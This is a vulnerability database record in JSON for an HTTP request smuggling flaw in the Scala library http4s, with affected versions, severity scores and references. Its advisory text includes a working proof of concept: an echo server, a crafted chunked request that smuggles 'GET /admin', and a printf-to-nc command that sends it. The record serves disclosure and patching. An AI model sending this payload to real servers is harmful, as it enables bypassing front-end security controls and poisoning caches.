{"id":"CVE-2025-59822","aliases":["CVE-2025-59822","GHSA-wcwh-7gfw-5wrr"],"related":[],"kind":"vulnerability","state":"published","title":"Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section","summary":"Http4s is a Scala interface for HTTP services. In versions from 1.0.0-M1 to before 1.0.0-M45 and before 0.23.31, http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to bypass front-end servers security controls, launch targeted attacks against active users, and poison web caches. A pre-requisite for exploitation involves the web application being deployed behind a reverse-proxy that forwards trailer headers. This issue has been patched in versions 1.0.0-M45 and 0.23.31.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Http4s is a Scala interface for HTTP services. In versions from 1.0.0-M1 to before 1.0.0-M45 and before 0.23.31, http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to bypass front-end servers security controls, launch targeted attacks against active users, and poison web caches. A pre-requisite for exploitation involves the web application being deployed behind a reverse-proxy that forwards trailer headers. This issue has been patched in versions 1.0.0-M45 and 0.23.31.","source":"cvelist"},{"lang":"en","text":"### Summary\nhttp4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.\nThis vulnerability could enable attackers to:\n- Bypass front-end servers security controls\n- Launch targeted attacks against active users\n- Poison web caches\n\nPre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.\n\n### Details\nThe HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).\nThis method parses the trailer section using `Parser.parse`, where the issue originates.\n\n`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf && (idx > 0 && message(idx - 1) == cr))` that sets `complete=true` even if no `\\r\\n\\r\\n` is  found.\n```scala\nif (current == colon) {\n  state = true // set state to check for header value\n  name = new String(message, start, idx - start) // extract name string\n  start = idx + 1 // advance past colon for next start\n\n  // TODO: This if clause may not be necessary since the header value parser trims\n  if (message.size > idx + 1 && message(idx + 1) == space) {\n    start += 1 // if colon is followed by space advance again\n    idx += 1 // double advance index here to skip the space\n  }\n  // double CRLF condition - Termination of headers\n} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check\n  complete = true // completed terminate loop\n}\n```\nThe remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.\n\n### PoC\n\nStart a simple webserver that echoes the received requests:\n```scala\nimport cats.effect._\nimport cats.implicits._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.ember.server.EmberServerBuilder\nimport org.http4s.server.Router\nimport org.http4s.server.middleware.RequestLogger\nimport org.typelevel.log4cats.LoggerFactory\nimport org.typelevel.log4cats.slf4j.Slf4jFactory\nimport com.comcast.ip4s._\n\nobject ExploitServer extends IOApp {\n\n  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]\n\n  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {\n    case req @ _ =>\n      for {\n        bodyStr <- req.bodyText.compile.string\n        method = req.method.name\n        uri = req.uri.toString()\n        version = req.httpVersion.toString\n        headers = req.headers.headers.map { header =>\n          s\"${header.name.toString.toLowerCase}: ${header.value}\"\n        }.mkString(\"\\n\")\n        \n        responseText = s\"\"\"$method $uri $version\n$headers\n\n$bodyStr\n\n\"\"\"\n        result <- Ok(responseText)\n      } yield result\n  }\n\n  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(\n    Router(\"/\" -> echoService).orNotFound\n  )\n\n  override def run(args: List[String]): IO[ExitCode] = {\n    EmberServerBuilder\n      .default[IO]\n      .withHost(ipv4\"0.0.0.0\")\n      .withPort(port\"8080\")\n      .withHttpApp(httpApp)\n      .build\n      .use { server =>\n        IO.println(s\"Server started at http://0.0.0.0:8080\") >> IO.never\n      }\n      .as(ExitCode.Success)\n  }\n}\n```\n\n`build.sbt`\n```\nThisBuild / scalaVersion := \"2.13.15\"\n\nval http4sVersion = \"0.23.30\"\n\nlazy val root = (project in file(\".\"))\n  .settings(\n    name := \"http4s-echo-server\",\n    libraryDependencies ++= Seq(\n      \"org.http4s\" %% \"http4s-ember-server\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-dsl\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-circe\" % http4sVersion,\n      \"ch.qos.logback\" % \"logback-classic\" % \"1.4.11\",\n      \"org.typelevel\" %% \"log4cats-slf4j\" % \"2.6.0\",\n    )\n  )\n```\n\nSend the following request:\n```http\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n2\naa\n0\nTest: smuggling\na\nGET /admin HTTP/1.1\nHost: localhost\n\n```\n\nYou can do that with the following command:\n`printf 'POST / HTTP/1.1\\r\\nHost: localhost\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n2\\r\\naa\\r\\n0\\r\\nTest: smuggling\\r\\na\\r\\nGET /admin HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n' | nc localhost 8080`\n\nYou will see that the request is interpreted as two separate requests\n```\n16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body=\"aa\"\n16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Http4s es una interfaz Scala para servicios HTTP. En versiones desde la 1.0.0-M1 hasta antes de la 1.0.0-M45 y antes de la 0.23.31, http4s es vulnerable a HTTP Request Smuggling debido a un manejo inadecuado de la sección de tráiler HTTP. Esta vulnerabilidad podría permitir a los atacantes eludir los controles de seguridad de los servidores front-end, lanzar ataques dirigidos contra usuarios activos y envenenar las cachés web. Un prerrequisito para la explotación implica que la aplicación web esté desplegada detrás de un proxy inverso que reenvía los encabezados de tráiler. Este problema ha sido parcheado en las versiones 1.0.0-M45 y 0.23.31.","source":"nvd"}],"published":"2025-09-23T17:37:23.000Z","modified":"2026-10-19T16:10:00.260Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-444"],"affected":[{"ranges":[{"version":"< 0.23.31","status":"affected"},{"version":">= 1.0.0-M1, < 1.0.0-M45","status":"affected"}],"vendor":"http4s","product":"http4s","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.23.31"}],"ecosystem":"Maven","package":"org.http4s:http4s-ember-core_2.12","purl":"pkg:maven/org.http4s/http4s-ember-core_2.12","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.23.31"}],"ecosystem":"Maven","package":"org.http4s:http4s-ember-core_2.13","purl":"pkg:maven/org.http4s/http4s-ember-core_2.13","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.23.31"}],"ecosystem":"Maven","package":"org.http4s:http4s-ember-core_3","purl":"pkg:maven/org.http4s/http4s-ember-core_3","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"1.0.0-M1","status":"affected","fixed":"1.0.0-M45"}],"ecosystem":"Maven","package":"org.http4s:http4s-ember-core_2.13","purl":"pkg:maven/org.http4s/http4s-ember-core_2.13","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"1.0.0-M1","status":"affected","fixed":"1.0.0-M45"}],"ecosystem":"Maven","package":"org.http4s:http4s-ember-core_3","purl":"pkg:maven/org.http4s/http4s-ember-core_3","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.23.31"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"}],"vendor":"typelevel","product":"http4s","cpe":"cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59822","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/http4s/http4s","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-09-23T19:15:00.938Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-59822","url":"https://www.cve.org/CVERecord?id=CVE-2025-59822","licence":"CVE Terms of Use","modified":"2025-09-23T19:17:26.320Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-wcwh-7gfw-5wrr","url":"https://github.com/advisories/GHSA-wcwh-7gfw-5wrr","licence":"CC-BY-4.0","modified":"2025-10-13T15:45:42.428Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-59822","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59822","licence":"Public domain","modified":"2026-10-19T16:10:00.260Z"}],"updatedAt":"2026-11-25T22:59:05.062Z","epss":{"score":0.00374,"percentile":0.33388,"date":"2026-12-01T12:00:22.000Z"}}